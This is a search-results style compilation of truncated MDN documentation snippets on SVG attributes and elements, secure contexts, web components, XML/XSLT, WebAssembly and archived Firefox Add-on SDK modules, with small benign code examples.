... | n-resize | se-resize | sw-resize | s-resize | w-resize| text | wait | help ]] | inherit animatable yes normative document svg 1.1 (2nd edition) <funciri> functional notation for a reference. the syntax for this reference is the same as the css uri. elements the following elements can use the cursor attribute container elements » graphics elements » browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcursorchrome ...
fill-opacity - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandro...
...y="50" r="40" style="fill-opacity: .25;" /> </svg> usage notes value [0-1] | <percentage> default value 1 animatable yes note: svg2 introduces percentage values for fill-opacity, however, it is not widely supported yet (see browser compatibility below) as a consequence, it is best practices to set opacity with a value in the range [0-1]. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfill-opacitychrome ...
fill-rule - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfill-rulechrome ...
... segment moving in opposite direction (one square drawn clockwise, the other anti-clockwise) --> <path fill-rule="evenodd" stroke="red" d="m210,0 h90 v90 h-90 z m230,20 v50 h50 v-50 z"/> </svg> browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfill-rulechrome ? edge ? firefox ? ie ? opera ? sa...
letter-spacing - SVG: Scalable Vector Graphics
note: as a presentation attribute, letter-spacing can be used as a css property. see the css letter-spacing property for more information. ...
... note: as a presentation attribute, letter-spacing can be used as a css property. see the css letter-spacing property for more information. ...
stroke-linecap - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-linecapchrome ...
...oke --> <path d="m1,1 h4" stroke="pink" stroke-width="0.025" /> <circle cx="1" cy="1" r="0.05" fill="pink" /> <circle cx="5" cy="1" r="0.05" fill="pink" /> <circle cx="3" cy="3" r="0.05" fill="pink" /> </svg> browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-linecapchrome ? edge ? firefox ? ie ? opera ? ...
stroke-linejoin - SVG: Scalable Vector Graphics
the arcs value indicates that an arcs corner is to be used to join path segments. the arcs shape is formed by extending the outer edges of the stroke at the join point with arcs that have the same curvature as the outer edges at the join point. example html,body,svg { height:100% } <svg viewbox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> <!-- effect o...
... the miter-clip value indicates that a sharp corner is to be used to join path segments. the corner is formed by extending the outer edges of the stroke at the tangents of the path segments until they intersect. if the stroke-miterlimit is exceeded, the miter is clipped at a distance equal to half the stroke-miterlimit value multiplied by the stroke width from...
stroke-opacity - SVG: Scalable Vector Graphics
it's important to know that the stroke partially covers the fill of a shape, so a stroke with an opacity different than 1 will partially show the fill underneath. to avoid this effect, it is possible to apply a global opacity with the opacity attribute or to put the stroke behind the fil...
...ence, it is best practices to set opacity with a value in the range [0-1]. it's important to know that the stroke partially covers the fill of a shape, so a stroke with an opacity different than 1 will partially show the fill underneath. to avoid this effect, it is possible to apply a global opacity with the opacity attribute or to put the stroke behind the fill with the paint-order attribute. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-opacitychrome ...
word-spacing - SVG: Scalable Vector Graphics
note: as a presentation attribute, word-spacing can be used as a css property. see the css word-spacing property for more information. ...
... note: as a presentation attribute, word-spacing can be used as a css property. see the css word-spacing property for more information. ...
<foreignObject> - SVG: Scalable Vector Graphics
the <foreignobject> svg element includes elements from a different xml namespace. in the context of a browser, it is most likely (x)html. html,body,svg { height:100% } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <style> div { color: white; font: 18px serif; height: 100%; overflow: auto; } </style> <polygon points="5,5 195,10 185,185 10,195" /> <!-- common use case: embed html text into svg --> <foreignobject x="20" y="20" width="160" height="160"> <!-- in the context of svg embedded in an html document, the xhtml namespace could be omitted, but it is mandatory in the context of an svg document --> <div xmlns="http://www.w3.org/1999/xhtml"> lorem ipsum dolor sit amet, consectetur adipiscing...
... candidate recommendation scala...
<solidcolor> - SVG: Scalable Vector Graphics
a workaround is to use a <lineargradient> with only one color stop. this is less elegant, and unlike <solidcolor>, cannot itself be used in the definition of gradients. ...
...element implements the svgsolidcolorelement interface. example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 300 200" height="150"> <defs> <!-- solidcolor is experimental. --> <solidcolor id="mycolor" solid-color="gold" solid-opacity="0.8"/> <!-- lineargradient with a single color stop is a less elegant way to achieve the same effect, but it works in current browsers. --> <lineargradient id="mygradient"> <stop offset="0" stop-color="green" /> </lineargradient> </defs> <text x="10" y="20">circles colored with solidcolor</text> <circle cx="150" cy="65" r="35" stroke-width="2" stroke="url(#mycolor)" fill="white"/> <circle cx="50" cy="65" r="35" fill="url(#mycolor)"/> <text x="10" y="120">circles colored with lineargradient</tex...
<symbol> - SVG: Scalable Vector Graphics
Web › SVG › Element › symbol
ia-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <f...
...ementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> note: a <symbol> element itself is not meant to be rendered. only instances of a <symbol> element (i.e., a reference to a <symbol> by a <use> element) are rendered. that means that some browsers could refuse to directly display a <symbol> element even if the css display property tells otherwise. specifications specification status comment scalable vector graphics (svg) 2the definition of '<symbol>' in that specification. candidate recommendation allowed geometry properties to be specified on a symbol scalable vector graphics (svg) 1.1 (seco...
Getting started - SVG: Scalable Vector Graphics
e and vertical position to ensure the final result is aesthetically pleasing. basic properties of svg files the first important thing to notice is the order of rendering elements. the globally valid rule for svg files is, that later elements are rendered atop previous elements. the further down an element is the more it will be visible. svg files on the web can be displayed directly in the browser or embedded in html files via several methods: if the html is xhtml and is delivered as type application/xhtml+xml, the svg can be directly embedded in the xml source. if the html is html5, and the browser is a conforming html5 browser, the svg can also be directly embedded. however, there may be syntax changes necessary to conform to the html5 specification. the svg file can be ref...
..."image.svg" type="image/svg+xml" /> likewise an iframe element can be used: <iframe src="image.svg"></iframe> an img element can theoretically be used too. however, this technique doesn't work in firefox before 4.0. finally, svg can be created dynamically with javascript and injected into the html dom. with this method, replacement technologies can be implemented for browsers which normally can't process svg. see this dedicated article which deals with the topic in-depth. how svg handles sizes and units will be explained on the next page. svg file types svg files come in two flavors. normal svg files are simple text files containing svg markup. the recommended filename extension for these files is ".svg" (all lowercase). due to the potentially massive siz...
Introduction - SVG: Scalable Vector Graphics
by specifying all the lines and shapes necessary, by modifying already existing raster images, or by a combination of both. the image and its components can also be transformed, composited together, or filtered to change their appearance completely. svg came about in 1999 after several competing formats had been submitted to the w3c and failed to be fully ratified. svg is supported by all major browsers. a downside is loading svg can be slow. svg does offer benefits, some of which include having a dom interface available for it, and not requiring third-party extensions. whether or not to use it often depends on your specific use case. basic ingredients html provides elements for defining headers, paragraphs, tables, and so on. in much the same way svg provides elements for circles, rect...
...ands with a bit of markup. you should note your final goal though. not all svg viewers are equal and so there is a good chance that something written for one app will not display exactly the same in another, simply because they support different levels of the svg specification or another specification that you are using along with svg (that is, javascript or css). svg is supported in all modern browsers and even a couple versions back in some cases. a fairly complete browser support table can be found on can i use. firefox has supported some svg content since version 1.5, and that support level has been growing with each release since. hopefully, along with the tutorial here, mdn can help developers keep up with the differences between gecko and some of the other major implementations. befor...
Secure contexts - Web security
vacy. get low-level access to a user's computer. get access to data such as user credentials. when is a context considered secure? a context is considered secure when it meets certain minimum standards of authentication and confidentiality defined in the secure contexts specification. a particular document is considered to be in a secure context when it is the active document of a top-level browsing context (basically, a containing window or tab) that is a secure context. for example, even for a document delivered over tls within an <iframe>, its context is not considered secure if it has an ancestor that was not also delivered over tls. however, it’s important to note that if a non-secure context causes a new window to be created (with or without specifying noopener), then the fact t...
... tls. however, it’s important to note that if a non-secure context causes a new window to be created (with or without specifying noopener), then the fact that the opener was insecure has no effect on whether the new window is considered secure. that’s because the determination of whether or not a particular document is in a secure context is based only on considering it within the top-level browsing context with which it is associated — and not whether a non-secure context happened to be used to create it. locally-delivered resources such as those with http://127.0.0.1 urls, http://localhost urls (under certain conditions), and file:// urls are also considered to have been delivered securely. resources that are not local, to be considered secure, must meet the following criteria: m...
Securing your site - Web security
orm fields support autocompletion in gecko; that is, their values can be remembered and automatically brought back the next time the user visits your site. for certain types of data, you may wish to disable this feature. privacy and the :visited selector this article discusses changes made to the getcomputedstyle() method that eliminates the ability for malicious sites to figure out the user's browsing history. hash passwords using a secure algorithm (owasp) storing passwords in plain text can lead to attackers knowing and leaking the exact password of your site's users, potentially putting the users at risk. the same issues can arise if you use an old or insecure algorithm for hashing (such as md5). you should use a password-specific hashing algorithm (such as argon2, pbkdf2, scrypt or bc...
...ta theft to site defacement or distribution of malware. code is executed by the victims and lets the attackers bypass access controls and impersonate users. according to the open web application security project, xss was the seventh most common web app vulnerability in 2017. the x-frame-options response header the x-frame-options: http response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame>. sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites. access control by configuring a website it is the best way to secure your site. you can ignore specific ips, restrict access to certain areas of website, protect different files, protect against image hotlinking, and a lot more. ...
Using custom elements - Web Components
styles to the shadow dom const linkelem = document.createelement('link'); linkelem.setattribute('rel', 'stylesheet'); linkelem.setattribute('href', 'style.css'); // attach the created element to the shadow dom shadow.appendchild(linkelem); note that <link> elements do not block paint of the shadow root, so there may be a flash of unstyled content (fouc) while the stylesheet loads. many modern browsers implement an optimization for <style> tags either cloned from a common node or that have identical text, to allow them to share a single backing stylesheet. with this optimization the performance of external and internal styles should be similar. customized built-in elements now let's have a look at another customized built in element example — expanding-list (see it live also). this turns...
...istener(...) // return the right context return self; } } if you don't need to perform any operation in the constructor, you can simply omit it so that its native behavior (see following) will be preserved. constructor(...args) { return super(...args); } transpilers vs. classes please note that es2015 classes cannot reliably be transpiled in babel 6 or typescript targeting legacy browsers. you can either use babel 7 or the babel-plugin-transform-builtin-classes for babel 6, and target es2015 in typescript instead of legacy. libraries there are several libraries that are built on web components with the aim of increasing the level of abstraction when creating custom elements. some of these libraries are snuggsi ツ, x-tag, slim.js, litelement, smart, stencil and hyperhtml-elem...
Using shadow DOM - Web Components
e same way as non-shadow nodes — for example appending children or setting attributes, styling individual nodes using element.style.foo, or adding style to the entire shadow dom tree inside a <style> element. the difference is that none of the code inside a shadow dom can affect anything outside it, allowing for handy encapsulation. note that the shadow dom is not a new thing by any means — browsers have used it for a long time to encapsulate the inner structure of an element. think for example of a <video> element, with the default browser controls exposed. all you see in the dom is the <video> element, but it contains a series of buttons and other controls inside its shadow dom. the shadow dom spec has made it so that you are allowed to actually manipulate the shadow dom of your own cus...
...with this optimization the performance of external and internal styles should be similar. ...
XML introduction - XML: Extensible Markup Language
<warning> hello world <!--missing </warning> --> </message> now let's look at a corrected version of that same document: <?xml version="1.0" encoding="utf-8"?> <message> <warning> hello world </warning> </message> a document that contains an undefined tag is invalid. for example, if we never defined the <warning> tag, the document above wouldn't be valid. most browsers offer a debugger that can identify poorly-formed xml documents. entities like html, xml offers methods (called entities) for referring to some special reserved characters (such as a greater than sign which is used for tags). there are five of these characters that you should know: entity character description &lt; < less than sign &gt; > gre...
...lease refresh and try again."> ]> <body> <message> &warning; </message> </body> you can also use numeric character references to specify special characters; for example, &#xa9; is the "©" symbol. displaying xml xml is usually used for descriptive purposes, but there are ways to display xml data. if you don't define a specific way for the xml to be rendered, the raw xml is displayed in the browser. one way to style xml output is to specify css to apply to the document using the xml-stylesheet processing instruction. <?xml-stylesheet type="text/css" href="stylesheet.css"?> there is also another more powerful way to display xml: the extensible stylesheet language transformations (xslt) which can be used to transform xml into other languages such as html. this makes xml incredibly versat...
Transforming XML with XSLT - XSLT: Extensible Stylesheet Language Transformations
nt itself, unhindered by a need to provide any indication about how this data should eventually be presented. this intelligent structuring is particularly important as more and more data transfers are automated and take place between highly heterogeneous machines linked by a network. yet eventually much of the content stored in xml documents will need to be presented to human readers. because a browser provides a familiar and highly flexible interface, it is an ideal mechanism for delivering such presentation versions of xml content. built from the ground up utilizing a wide variety of xml technologies, firefox incorporates within itself all of the mechanisms needed to process both original xml documents and the specialized stylesheets used to style and lay them out for html display, reducing...
...sheet language/transform and the name is apt. xslt allows a stylesheet author to transform a primary xml document in two significant ways: manipulating and sorting the content, including a wholesale reordering of it if so desired, and transforming the content into a different format (and in the case of firefox, the focus is on converting it on the fly into html which can then be displayed by the browser). xslt/xpath reference elements xsl:apply-imports (supported) xsl:apply-templates (supported) xsl:attribute (supported) xsl:attribute-set (supported) xsl:call-template (supported) xsl:choose (supported) xsl:comment (supported) xsl:copy (supported) xsl:copy-of (supported) xsl:decimal-format (supported) xsl:element (supported) xsl:fallback (not supported) xsl:for-each (supported)...
Caching compiled WebAssembly modules - WebAssembly
caching is useful for improving the performance of an app — we can store compiled webassembly modules on the client so they don't have to be downloaded and compiled every time. this article explains the best practices around this. caching via indexeddb indexeddb is a transactional database system that allows you to store and retrieve structured data on the client-side. it is ideal for persisting assets locally for the saved state of an application, including text, blobs, and any other type of cloneable object. ...
... want to instantiate. an import object, if required. const wasmcacheversion = 1; instantiatecachedurl(wasmcacheversion, 'test.wasm').then(instance => console.log("instance says the answer is: " + instance.exports.answer()) ).catch(err => console.error("failure to instantiate: " + err) ); you can find the source code for this example on github as indexeddb-cache.html (see it live also). browser support at the moment, this technique will work in firefox and edge, as they both have support for structured cloning of webassembly modules. chrome has support implemented behind the webassembly structured cloning support flag, but is yet to turn it on by default because of some concerns (see this discussion, for example). safari is still yet to implement. ...
Exported WebAssembly functions - WebAssembly
le too, which gives the same results. they are real functions in the previous example, the return value of each table.prototype.get() call is an exported webassembly function — exactly what we have been talking about. it is worth noting that these are real javascript functions, in addition to being wrappers for webassembly functions. if you load the above example in a webassembly-supporting browser, and run the following lines in your console: var testfunc = othertable.get(0); typeof testfunc; you'll get the result function returned. you can then go on to do pretty much anything to this function that you can do to other functions in javascript — call(), bind(), etc. testfunc.tostring() returns an interesting result: function 0() { [native code] } this gives you more of an idea o...
... of an idea of its wrapper-type nature. some other particulars to be aware of with exported webassembly functions: their length property is the number of declared arguments in the wasm function signature. their name property is the tostring() result of the function's index in the wasm module. if you try to call a exported wasm function that takes or returns an i64 type value, it currently throws an error because javascript currently has no precise way to represent an i64. this may well change in the future though — a new int64 type is being considered for future standards, which could then be used by wasm. ...
Index - WebAssembly
it is also designed to run alongside javascript, allowing both to work together. ...
...sembly! this tutorial takes you through all you need to know to compile a rust project to wasm and use it in an existing web app. 6 converting webassembly text format to wasm webassembly, assembly, conversion, text format, wabt, wasm, wast2wasm, wat2wasm webassembly has an s-expression-based textual representation, an intermediate form designed to be exposed in text editors, browser developer tools, etc. this article explains a little bit about how it works, and how to use available tools to covert text format files to the .wasm assembly format. 7 exported webassembly functions guide, javascript, webassembly, export, exported functions, exported wasm functions, wasm exported webassembly functions are how webassembly functions are represented in javascr...
Converting WebAssembly text format to wasm - WebAssembly
this article explains a little bit about how it works, and how to use available tools to convert text format files to the .wasm assembly format. note: text format files are usually saved with a .wat extension. historically, a .wast extension was also used, however that's now used for the scripting language used by the webassembly testsuite. ...
...imported_func, which is run with the value (42) provided as a parameter. converting the text .wat into a binary .wasm file let’s have a go at converting the above .wat text representation example into .wasm assembly format. to start with, make a copy of the above listing inside a text file; call it simple.wat. we need to assemble this textual representation into the assembly language the browser actually reads before we can use it. to do this, we can use the wabt tool, which includes compilers to convert between webassembly’s text representation and wasm, and vice versa, plus more besides. go to https://github.com/webassembly/wabt — follow the instructions on this page to set up the tool. once you’ve got the tool built, add the /wabt/out/clang/debug directory to your system path...
Understanding WebAssembly text format - WebAssembly
this article explains how that text format works, in terms of the raw syntax, and how it is related to the underlying bytecode it represents — and the wrapper objects representing wasm in javascript. ...
...u could rewrite our previous signature like so: (func (param $p1 i32) (param $p2 f32) (local $loc f64) …) and then could write local.get $p1 instead of local.get 0, etc. (note that when this text gets converted to binary, though, the binary will contain only the integer.) stack machines before we can write a function body, we have to talk about one more thing: stack machines. although the browser compiles it to something more efficient, wasm execution is defined in terms of a stack machine where the basic idea is that every type of instruction pushes and/or pops a certain number of i32/i64/f32/f64 values to/from a stack. for example, local.get is defined to push the value of the local it read onto the stack, and i32.add pops two i32 values (it implicitly grabs the previous two values p...
Using the WebAssembly JavaScript API - WebAssembly
y.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); the net result of this is that we call our exported webassembly function exported_func, which in turn calls our imported javascript function imported_func, which logs the value provided inside the webassembly instance (42) to the console. if you save your example code now and load it a browser that supports webassembly, you’ll see this in action! note: this is a convoluted, longwinded example that achieves very little, but it does serve to illustrate what is possible — using webassembly code alongside javascript in your web applications. as we’ve said elsewhere, webassembly doesn’t aim to replace javascript; the two instead can work together, drawing on each other’s stren...
...ly memory exposes its bytes by simply providing a buffer getter/setter that returns an arraybuffer. for example, to write 42 directly into the first word of linear memory, you can do this: new uint32array(memory.buffer)[0] = 42; you can then return the same value using: new uint32array(memory.buffer)[0] try this now in your demo — save what you’ve added so far, load it in your browser, then try entering the above two lines in your javascript console. growing memory a memory instance can be grown by calls to memory.prototype.grow(), where again the argument is specified in units of webassembly pages: memory.grow(1); if a maximum value was supplied upon creation of the memory instance, attempts to grow past this maximum will throw a webassembly.rangeerror exception. the...
Reddit Example - Archive of obsolete content
to accomplish this the add-on needs to run a content script in the context of the reddit page which intercepts mouse clicks on each title link and fetches the link's target url. ...
Content Scripts - Archive of obsolete content
"sdk/tabs"); var contentscriptstring = 'document.body.innerhtml = "<h1>this page has been eaten</h1>";' tabs.activetab.attach({ contentscript: contentscriptstring }); the following high-level sdk modules can use content scripts to modify web pages: page-mod: enables you to attach content scripts to web pages that match a specific url pattern. tabs: exports a tab object for working with a browser tab. the tab object includes an attach() function to attach a content script to the tab. page-worker: lets you retrieve a web page without displaying it. you can attach content scripts to the page, to access and manipulate the page's dom. context-menu: use a content script to interact with the page in which the menu is invoked. additionally, some sdk user interface components - panel, sideb...
addon-page - Archive of obsolete content
you can supply the content in an html file in your add-on's "data" directory. note: this module has no effect on fennec. for pages like this, navigational elements such as the awesome bar, search bar, or bookmarks toolbar are not usually relevant and distract from the content you are presenting. the addon-page module provides a simple way to have a page which excludes these elements. to use the module import it using require(). ...
indexed-db - Archive of obsolete content
pi documentation for all the details. the database created will be unique and private per add-on, and is not linked to any website database. the module cannot be used to interact with a given website database. see bug 778197 and bug 786688. example this example uses the action button api, which is only available from firefox 29 onwards. here's a complete add-on that adds two buttons to the browser: the button labeled "add" adds the title of the current tab to a database, while the button labeled "list" lists all the titles in the database. the add-on implements helper functions open(), additem() and getitems() to open the database, add a new item to the database, and get all items in the database. var { indexeddb, idbkeyrange } = require('sdk/indexed-db'); var database = {}; database...
page-mod - Archive of obsolete content
document.getelementsbytagname("div");' + 'for (var i = 0; i < divs.length; ++i) {' + 'divs[i].setattribute("style", "border: solid red 1px;");' + '}' }); } }); to run this example you'll also have to have an icon file named "icon-16.png" saved in your add-on's "data" directory. you could use this icon: . private windows if your add-on has not opted into private browsing, then your page-mods will not attach content scripts to documents loaded into private windows, even if their urls match the pattern you have specified. to learn more about private windows, how to opt into private browsing, and how to support private browsing, refer to the documentation for the private-browsing module. globals constructors pagemod(options) creates a page-mod. parameters ...
request - Archive of obsolete content
globals constructors request(options) this constructor creates a request object that can be used to make network requests. the constructor takes a single parameter options which is used to set several properties on the resulting request. ...
self - Archive of obsolete content
d-on's short name. it comes from the name property in the main package's package.json file. version this property contains the add-on's version string. it comes from the version property set in the package.json file in the main package. loadreason this property contains of the following strings describing the reason your add-on was loaded: install enable startup upgrade downgrade isprivatebrowsingsupported this property indicates whether or not the add-on supports private browsing. it comes from the private-browsing key in the add-on's package.json file. data the data object is used to access data that was bundled with the add-on. this data lives in the add-on's data/ directory, immediately below the package.json file. all files in this directory will be copied into the xpi and made ...
simple-storage - Archive of obsolete content
is greater than 1.0. therefore, when you're notified that you're over quota, you should respond by removing data from the storage space until your quotausage is less than or equal to 1. which particular data you remove is up to you. for example: ss.storage.mylist = [ /* some long array */ ]; ss.on("overquota", function () { while (ss.quotausage > 1) ss.storage.mylist.pop(); }); private browsing if your storage is related to your users' web history, personal information, or other sensitive data, your add-on should respect private browsing. to read about how to opt into private browsing mode and how to use the sdk to avoid storing user data associated with private windows, refer to the documentation for the private-browsing module. globals properties storage a persistent object p...
ui - Archive of obsolete content
e it an icon, a label, and a click handler: var ui = require("sdk/ui"); var action_button = ui.actionbutton({ id: "my-button", label: "action button!", icon: "./icon.png", onclick: function(state) { console.log("you clicked '" + state.label + "'"); } }); you can make a button standalone or add it to a toolbar. if it's standalone, it appears in the toolbar at the top right of the browser window: togglebutton a toggle button is a special kind of button that's for representing a binary on/off state, like a checkbox. so they have a checked property which is toggled when the user clicks the button, and the icon gets a "pressed" look when the button is checked. it's otherwise identical to the action button. attaching panels to buttons is only supported from firefox 30 onwards.
/loader - Archive of obsolete content
provide an environment for loading commonjs style modules, which makes it possible to consume lots of interesting code that has already been developed. secure each module in an isolated js sandbox and makes any capability imports explicit via calls to the require() function. create task specific loaders with restricted module access. provide unload hooks that may be us...
content/worker - Archive of obsolete content
used in the internal implementation of sdk modules which use content scripts to interact with web content. it exports the worker trait, which enables content scripts and the add-on code to exchange messages using the port or postmessage apis. the worker is similar to the web worker interface defined by the w3c. but unlike "web workers," these workers run in the same process as web content and browser chrome, so code within workers can block the ui. globals constructors worker(options) creates a content worker. parameters options : object required options: name type window object the content window to create javascript sandbox for communication with. optional options: name type contentscriptfile str...
core/promise - Archive of obsolete content
r return a value or throw an exception, only one handler will ever be called. var bar = foo().then(function success(value) { // compute something from a value... }, function failure(reason) { // handle an error... }); in this example bar is a promise and it's fulfilled by one of two handlers that are responsible for: if handler returns a value, bar will be resolved with it. if handler throws an exception, bar will be rejected with it. if handler returns a promise, bar will "become" that promise. to be more precise it will be resolved with a resolution value of the returned promise, which will appear and feel as if it was that returned promise. if the foo() promise gets rejected and you omit the error handler, the error will propagate to bar (bar will be rejected with that error): ...
dev/panel - Archive of obsolete content
he toolbox. with the dev/panel module, you can create your own panels in the toolbox: the panel gets a tab in the toolbox toolbar which enables the user to open it: you specify the panel's content and behavior using html, css, and javascript. when the panel's created, the framework passes it a debuggee: this is a messageport object that you can use to exchange json messages with the browser that the developer tools are currently debugging. the messages follow the remote debugging protocol. for a simple walkthrough of using the dev/panel api to add a new tool, see adding a panel to the toolbox. basic usage defining the panel constructor to add a new tool you first need to define a constructor that inherits from the panel class, and in that constructor you need to supply values ...
event/target - Archive of obsolete content
chaining emitters can also have their methods chained: target.on('message', handlemessage) .on('data', parsedata) .on('error', handleerror); eventtarget eventtarget is an exemplar for creating an objects that can be used to add / remove event listeners on them. events on these objects may be emitted via emit function exported by e...
loader/sandbox - Archive of obsolete content
;'); //=> 7 more details about evaluated script may be passed via optional arguments that may improve exception reporting: // evaluate code as if it was loaded from 'http://foo.com/bar.js' and // start from 2nd line. evaluate(scope, 'a ++', 'http://foo.com/bar.js', 2); version of javascript can be also specified via an optional argument: evaluate(scope, 'let b = 2;', 'bar.js', 1, '1.5'); // throws cause `let` is not defined in js 1.5. load scripts this module provides a limited api for loading scripts from local urls. data: urls are supported. load(scope, 'resource://path/to/my/script.js'); load(scope, 'file:///path/to/script.js'); load(scope, 'data:,var a = 5;'); globals functions sandbox(source) make a new sandbox that inherits principals from source. parameters source : string|...
places/history - Archive of obsolete content
usage this module exports a single function, search(), which synchronously returns a placesemitter object which then asynchronously emits data and end or error events that contain information about the state of the operation. ...
remote/child - Archive of obsolete content
stener(event, listener, iscapturing) removes an event listener that was previously registered. properties port an event emitter that can be used to send and receive frame specific events to and from code in the main process. content the top level dom window currently displaying in this frame. istab a boolean property indicating whether this frame displays in one of the application's main browser tabs. events detach event emitted when this frame disconnects from the application. ...
system/events - Archive of obsolete content
provides core (low level) api for working with the application observer service, also known as nsiobserverservice. you can find a list of events dispatched by the firefox codebase here. var events = require("sdk/system/events"); var { ci } = require("chrome"); function listener(event) { var channel = event.subject.queryinterface(ci.nsihttpchannel); channel.setrequestheader("user-agent", "mybrowser/1.0", false); } events.on("http-on-modify-request", listener); globals functions emit(type, event) send an event to observer service parameters type : string the event type. event : object an optional object with data and subject attributes. data refers to a string that you would like to pass through this event. subject should refer to the actual actor/subject of this event (ie: the ...
console - Archive of obsolete content
enables your add-on to log error, warning or informational messages. if you have started firefox for your add-on from the command line with jpm run or jpm test then these messages appear in the command shell you used. if the add-on has been installed in firefox, then the messages appear in the browser console. if you're developing your add-on using the extension auto-installer, then the add-on is installed in firefox, meaning that messages will appear in the browser console. but see the discussion of logging levels: by default, messages logged using log(), info(), trace(), or warn() won't be logged in these situations. console methods all console methods except exception() and trace() accept one or more javascript objects as arguments and log them to the console. depending on the console's...
package.json - Archive of obsolete content
present, name is used as the add-on's em:name element in its install.rdf. packages note: this is deprecated along with cfx and is not available when using jpm. a string pointing to a directory containing additional packages. defaults to "packages". permissions an object describing the set of permissions that the add-on needs. private-browsing: a boolean indicating whether or not the add-on supports private browsing. if this value is not true or is omitted, then the add-on will not see any private windows or objects, such as tabs, that are associated with private windows. see the documentation for the private-browsing module. cross-domain-content: a list of domains for which content scripts are given cross-domain privileges to ...
Overview - Archive of obsolete content
with. it highlights any annotated elements that are found. when the user moves the mouse over an annotated element the matcher tells the main add-on code, which displays the annotation panel. working with data we'll use the simple-storage module to store annotations. because we are recording potentially sensitive information, we want to prevent the user creating annotations when in private browsing mode. the simplest way to do this is to omit the "private-browsing" key from the add-on's "package.json" file. if we do this, then the add-on won't see any private windows, and the annotator's widget will not appear in any private windows. getting started let's get started by creating a directory called "annotator". navigate to it and type cfx init. next, we will implement the widget. ...
Chrome Authority - Archive of obsolete content
the api used to gain chrome access is currently an experimental feature of the sdk, and may change in future releases. using chrome authority the most powerful low-level modules are run with "chrome privileges", which gives them access to the infamous components object, which grants unfettered access to the host system. from this, the module can do pretty much anything the browser is capable of. to obtain these privileges, the module must declare its intent with a statement like the following: var {cc, ci} = require("chrome"); the "chrome" built-in pseudo module is provided by the "toolkit/loader" module. the object returned by require("chrome"), when unpacked with the destructuring assignment feature available in the mozilla js environment, will provide the usual components.* aliases:...
Display a Popup - Archive of obsolete content
cus to the text area so the user can // just start typing. ...
Listen for Page Load - Archive of obsolete content
o follow this tutorial you'll need to have learned the basics of jpm. you can get notifications about new pages loading using the tabs module. the following add-on listens to the tab's built-in ready event and just logs the url of each tab as the user loads it: require("sdk/tabs").on("ready", logurl); function logurl(tab) { console.log(tab.url); } you will find this console output in the browser console, not the web console. you don't get direct access to any content hosted in the tab. to access tab content you need to attach a script to the tab using tab.attach(). this add-on attaches a script to all open tabs. the script adds a red border to the tab's document: require("sdk/tabs").on("ready", runscript); function runscript(tab) { tab.attach({ contentscript: "if (document.b...
Logging - Archive of obsolete content
t: require("sdk/tabs").on("ready", function(tab) { tab.attach({ contentscript: "console.log(document.body.innerhtml);" }); }); console output if you are running your add-on from the command line (for example, executing jpm run or jpm test) then the console's messages appear in the command shell you used. if you've installed the add-on in firefox then the messages appear in firefox's browser console. but note that by default, calls to console.log() will not result in any output in the error console for any installed add-ons: this includes add-ons installed using the add-on builder or using tools like the extension auto-installer. see "logging levels" in the console reference documentation for more information on this. learning more for the complete console api, see its api refe...
Modifying Web Pages Based on URL - Archive of obsolete content
rl is loaded // the script replaces the page contents with a message pagemod.pagemod({ include: "*.org", contentscript: 'document.body.innerhtml = ' + ' "<h1>page matches ruleset</h1>";' }); do as follows: create a new directory and navigate to it. run jpm init, accepting all the defaults open the file index.js and add the code above run jpm run open ietf.org in the browser window that opens. below is what you should see. specifying the match pattern match pattern uses match-pattern syntax. you can pass a single match-pattern string, or an array. keeping the content script in a separate file in the example above, we've supplied content script as a string. unless the script is extremely simple, maintain the script as a separate file though. this makes the ...
Modifying the Page Hosted by a Tab - Archive of obsolete content
